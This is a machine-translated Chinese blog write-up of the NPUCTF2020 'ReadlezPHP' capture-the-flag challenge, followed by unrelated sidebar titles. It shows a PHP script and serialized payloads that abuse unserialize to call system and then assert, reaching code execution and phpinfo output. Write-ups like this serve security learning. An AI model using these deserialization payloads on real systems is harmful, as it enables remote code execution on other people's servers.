当前位置:网站首页>[NPUCTF2020]ReadlezPHP 1
[NPUCTF2020]ReadlezPHP 1
2022-07-27 08:13:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
Weekly learning summary
Open the web page :

There is no point that can be used , View the source code :
I found such a passage at the bottom , Click to find the source code :
Obviously, code auditing , Because the code is very simple, don't go into too much detail , The direct idea is to deserialize , The idea here is to $b The assignment is system And so on. , take $a Assign to the command executed
So we started writing payload, What we can think of to execute the order is system and eval, So here we use system Directory traversal :<?php class HelloPhp { public $a="ls"; public $b=system; } $c = new HelloPhp; $b = serialize($c); echo $b; ?>O:8:“HelloPhp”:2:{s:1:“a”;s:2:“ls”;s:1:“b”;s:6:“system”;}
According to the content :
That's not right , Maybe it's filtered , So let's change it eval Have a try , Because this is execution php Code, so let's try it first phpinfo() :
Not even output , Definitely not , What's going on now , have a look Others' wpThey used assert , Isn't this assertion ? But it will judge the next step by executing the first parameter , It's fine too
structure payload:O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

Find on the current page flag You can find it
summary
- This level tells us in PHP The execution code in is sysytem() eval() assert()
- About assert() Another question of : Attack and defend the world -mfw
边栏推荐
猜你喜欢

Plato farm is expected to further expand its ecosystem through elephant swap

企业架构驱动的数字化转型!

Lua迭代器

The third letter to the little sister of the test | Oracle stored procedure knowledge sharing and test instructions

浅谈数据安全

Use of "PHP Basics" Boolean

File name wildcard rules for kettle

Prevent cookies from modifying ID to cheat login

一文速览EMNLP 2020中的Transformer量化论文

Data extraction 2
随机推荐
After installing mysql, docker entered the container and found that he could not log in to MySQL
如何在 60 秒内去分析和定位问题?
Use of string type "PHP Basics"
Day111. Shangyitong: integrate nuxt framework, front page data, hospital details page
2022-07-26 group 4 abstract classes and interfaces
What is a rebound shell? What's the use of bouncing shells?
一段平平无奇的秋招经历
Download and usage of sequel Pro
[applet] how to get wechat applet code upload key?
"PHP Basics" PHP statements and statement blocks
File name wildcard rules for kettle
Leetcode54. Spiral matrix
Shell script learning day01
Debug: generic related "unresolved external symbols"
Netdata 性能监测工具介绍、安装、使用
1024 | in the fourth year officially called Menon, the original intention is still there, and continue to move forward
服务器网络测试的方法
二零二零年终总结
企业架构驱动的数字化转型!
Lua迭代器